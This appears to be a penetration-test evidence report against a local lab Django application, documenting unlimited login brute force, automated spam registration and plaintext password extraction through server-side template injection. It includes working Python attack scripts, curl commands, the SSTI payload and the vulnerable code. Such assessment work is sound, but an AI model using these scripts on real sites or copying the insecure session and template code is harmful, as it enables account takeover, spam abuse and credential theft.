# Authentication Exploitation Evidence

## Successfully Exploited Vulnerabilities

### AUTH-VULN-03: Unlimited Brute Force Login Attacks

**Summary:**
- **Vulnerable location:** POST /accounts/login/
- **Overview:** Application allows unlimited login attempts without rate limiting, CAPTCHA, or account lockout, enabling brute force password attacks
- **Impact:** Complete account takeover through automated password guessing
- **Severity:** HIGH

**Prerequisites:**
- Target user account exists
- Attacker has username/email (easily obtainable)
- Common password list or password generation capability

**Exploitation Steps:**

1. Create a Python script to automate login attempts with different passwords:
   ```python
   import requests
   from bs4 import BeautifulSoup
   
   target = "http://localhost:35837/accounts/login/"
   username = "bruteforce@test.com"
   passwords = ["wrong1", "wrong2", ..., "CorrectPassword123"]
   
   for password in passwords:
       s = requests.Session()
       r = s.get(target)
       soup = BeautifulSoup(r.text, 'html.parser')
       csrf = soup.find('input', {'name': 'csrfmiddlewaretoken'})['value']
       
       data = {'username': username, 'password': password, 'csrfmiddlewaretoken': csrf}
       r = s.post(target, data=data)
       
       if r.url != target:  # Redirect indicates success
           print(f"Password found: {password}")
           break
   ```

2. Execute the brute force attack:
   ```bash
   python3 brute_force_demo.py
   ```

3. Script output demonstrates successful brute force:
   - **21 login attempts** made without any rate limiting
   - **0 blocked or throttled requests**
   - **Correct password discovered**: CorrectPassword123
   - **Average response time**: 0.096 seconds
   - **No account lockout** after 20 failed attempts

4. Verify account takeover by logging in with discovered credentials:
   ```bash
   curl -c cookies.txt -b cookies.txt \
     -d "username=bruteforce@test.com&password=CorrectPassword123&csrfmiddlewaretoken=[TOKEN]" \
     http://localhost:35837/accounts/login/
   ```

5. Access protected resource to confirm account takeover:
   ```bash
   curl -b cookies.txt http://localhost:35837/accounts/preferences/
   ```
   Returns HTTP 200 with user profile data

**Proof of Impact:**

Brute force attack results from `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-056-24/brute_force_demo_output.txt`:

```
================================================================================
BRUTE FORCE VULNERABILITY DEMONSTRATION
================================================================================

Target URL: http://localhost:35837/accounts/login/
Target Username: bruteforce@test.com
Total Passwords to Test: 21
Start Time: 2025-10-29 14:10:44

================================================================================
Attempt  Password             Status   Time (s)   Result         
================================================================================
1        wrong1               200      0.109      FAILED         
2        wrong2               200      0.093      FAILED         
[... 18 more failed attempts ...]
21       CorrectPassword123   302      0.166      SUCCESS ✓      
================================================================================

SUMMARY:
Total Attempts Made: 21
Successful Logins: 1
Blocked/Rate Limited: 0
Average Response Time: 0.096 seconds

VULNERABILITY ASSESSMENT:
✗ VULNERABLE: No rate limiting detected!
  All 21 login attempts were processed without blocking.
  This allows unlimited brute force attempts.

✓ Correct password found: CorrectPassword123
  Found after 21 attempts
```

**Account Takeover Confirmed:**
- Successfully logged in as "BruteForceTarget" user
- Accessed protected endpoint `/accounts/preferences/`
- Displayed user data: "Name: bruteforce@test.com"

**Notes:**
- No rate limiting library detected in codebase (no django-ratelimit, django-axes)
- No CAPTCHA implementation
- No account lockout mechanism
- No failed login tracking
- Attack can be scaled to test thousands of passwords

---

### AUTH-VULN-04: Unlimited Registration Abuse

**Summary:**
- **Vulnerable location:** POST /accounts/register/step1/, /accounts/register/step2/, /accounts/register/step3/
- **Overview:** Application allows unlimited account creation through automated registration without rate limiting, CAPTCHA, or email verification
- **Impact:** Massive spam account creation, database flooding, resource exhaustion
- **Severity:** HIGH

**Prerequisites:**
- None - registration is completely open to public

**Exploitation Steps:**

1. Create a Python script to automate the 3-step registration process:
   ```python
   import requests
   from bs4 import BeautifulSoup
   
   def create_account(name, email, password):
       s = requests.Session()
       
       # Step 1: Name and password
       r = s.get('http://localhost:35837/accounts/register/step1/')
       soup = BeautifulSoup(r.text, 'html.parser')
       csrf = soup.find('input', {'name': 'csrfmiddlewaretoken'})['value']
       
       data = {'name': name, 'password': password, 'csrfmiddlewaretoken': csrf}
       s.post('http://localhost:35837/accounts/register/step1/', data=data)
       
       # Step 2: Email
       r = s.get('http://localhost:35837/accounts/register/step2/')
       soup = BeautifulSoup(r.text, 'html.parser')
       csrf = soup.find('input', {'name': 'csrfmiddlewaretoken'})['value']
       
       data = {'email': email, 'csrfmiddlewaretoken': csrf}
       s.post('http://localhost:35837/accounts/register/step2/', data=data)
       
       # Step 3: Finalize
       r = s.get('http://localhost:35837/accounts/register/step3/')
       soup = BeautifulSoup(r.text, 'html.parser')
       csrf = soup.find('input', {'name': 'csrfmiddlewaretoken'})['value']
       
       data = {'is_premium': False, 'csrfmiddlewaretoken': csrf}
       r = s.post('http://localhost:35837/accounts/register/step3/', data=data)
       
       return r.status_code == 200
   
   # Create spam accounts
   for i in range(1, 11):
       create_account(f"SpamUser{i}", f"spam{i}@test.com", "SpamAccount123")
   ```

2. Execute sequential spam account creation:
   ```bash
   python3 registration_abuse_exploit.py
   ```
   Result: **10 accounts created in 2.08 seconds (4.82 accounts/second)**

3. Execute parallel spam account creation for scale test:
   ```bash
   python3 registration_abuse_scale_test.py
   ```
   Result: **50 accounts created in 0.90 seconds (55.82 accounts/second)**

4. Verify all spam accounts are functional:
   ```bash
   python3 verify_spam_accounts.py
   ```
   All 10 test accounts successfully logged in

**Proof of Impact:**

From `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-056-24/REGISTRATION_ABUSE_REPORT.md`:

```
### Test 1: Basic Registration Abuse (10 Accounts)
Results:
- Accounts Created: 10/10 (100% success)
- Time Taken: 2.08 seconds
- Rate: 4.82 accounts/second
- Accounts: SpamUser1-10 with emails spam1@test.com through spam10@test.com

### Test 2: Scale Test (50 Accounts - Parallel)
Results:
- Accounts Created: 50/50 (100% success)
- Time Taken: 0.90 seconds
- Rate: 55.82 accounts/second
- Parallel Threads: 10 concurrent connections

Projected Attack Capacity:
- 1 minute: ~3,348 accounts
- 1 hour: ~200,935 accounts
- 24 hours: ~4,822,451 accounts

### Test 3: Account Verification
Results:
- All 10 spam accounts successfully verified via login
- Confirmed accounts exist in database and are fully functional
```

**Total Spam Accounts Created:** 60 (10 sequential + 50 parallel)
**Success Rate:** 100% (60/60 accounts created successfully)
**Rate Limiting Observed:** None
**CAPTCHA Triggered:** Never
**Email Verification Required:** No

**Notes:**
- No rate limiting on any registration endpoint
- No email verification - accounts immediately active
- No anti-automation detection
- Demonstrates severe resource exhaustion risk

---

### AUTH-VULN-05: Plaintext Password Exposure via Session Data

**Summary:**
- **Vulnerable location:** POST /accounts/register/step1/ (password storage) and /accounts/register/step3/ (SSTI exposure)
- **Overview:** Passwords are stored in plaintext in Django sessions and can be extracted via Server-Side Template Injection during registration
- **Impact:** Credential theft enabling password reuse attacks on other services
- **Severity:** CRITICAL

**Prerequisites:**
- None - vulnerability exploitable during public registration process

**Exploitation Steps:**

1. Navigate to registration step 1:
   ```bash
   http://localhost:35837/accounts/register/step1/
   ```

2. Inject SSTI payload in the Name field to extract session password:
   - Name: `{{ request.session.password }}`
   - Password: `MySecretPassword999`

3. Complete step 2 with any email:
   - Email: `ssti_test@test.com`

4. At step 3, a JavaScript alert appears with the message:
   ```
   Hello MySecretPassword999. Just Now up to 50% OFF
   ```

5. The alert displays the plaintext password that was stored in the session, proving:
   - Password stored at step 1 in `request.session['password']` as plaintext
   - SSTI payload `{{ request.session.password }}` successfully extracts it
   - Password exposed in browser via template injection

**Proof of Impact:**

**Code Analysis:**
- Password storage: `/app/art_gallery/accounts/views.py:15`
  ```python
  request.session['password'] = form.cleaned_data['password']  # PLAINTEXT!
  ```

- Template injection: `/app/art_gallery/accounts/views.py:53-55`
  ```python
  engine = engines["django"]
  template_str = open('accounts/templates/accounts/register_step3.html','r').read()
  template = engine.from_string(template_str.replace('ACCOUNTNAME', request.session['name']))
  ```

- Never cleaned up: No `del request.session['password']` anywhere in codebase

**Exploitation Proof:**
1. Submitted name: `{{ request.session.password }}`
2. Submitted password: `MySecretPassword999`
3. JavaScript alert at step 3: "Hello MySecretPassword999..."
4. **Password successfully extracted from session via SSTI**

**Alternative exploitation via session hijacking:**
If an attacker hijacks a session cookie during or after registration, they could:
1. Access the Django session data (stored in MySQL `django_session` table)
2. Decode the session (base64-encoded pickle format)
3. Extract the plaintext password from `session['password']` key
4. Use password for credential stuffing attacks on other services

**Notes:**
- Password persists in session for up to 2 weeks (default Django session lifetime)
- Session stored in database, not encrypted, only signed
- Combining this with session hijacking enables complete credential theft
- SSTI vulnerability makes extraction trivial without needing database access

---

## Potential Vulnerabilities (Validation Blocked)

**NONE** - All vulnerabilities were either successfully exploited or determined to be out of scope.

---

## Out-of-Scope Findings (Not Reported)

The following vulnerabilities require internal/network access and cannot be exploited via the public web interface:

### AUTH-VULN-01: HTTP Transport Exposure
- **Reason:** Requires network packet capture to intercept HTTP traffic
- **Classification:** OUT_OF_SCOPE_INTERNAL
- See `/workspace/auth_false_positives.md` for details

### AUTH-VULN-02: Missing Cache-Control Headers
- **Reason:** Requires access to browser cache or proxy cache
- **Classification:** OUT_OF_SCOPE_INTERNAL
- See `/workspace/auth_false_positives.md` for details

### AUTH-VULN-06: SESSION_COOKIE_SECURE Misconfiguration
- **Reason:** Requires network interception to steal cookies (same as VULN-01)
- **Classification:** OUT_OF_SCOPE_INTERNAL
- Session replay demonstrated, but actual cookie theft requires network access
- See `/workspace/auth_false_positives.md` for details

### AUTH-VULN-07: Excessive Session Timeout
- **Verified:** Session timeout is 14 days (1,209,600 seconds)
- **Classification:** Configuration weakness (force multiplier, not standalone exploit)
- Amplifies impact of session-based attacks but doesn't grant initial access
- See `/workspace/auth_false_positives.md` for details

---
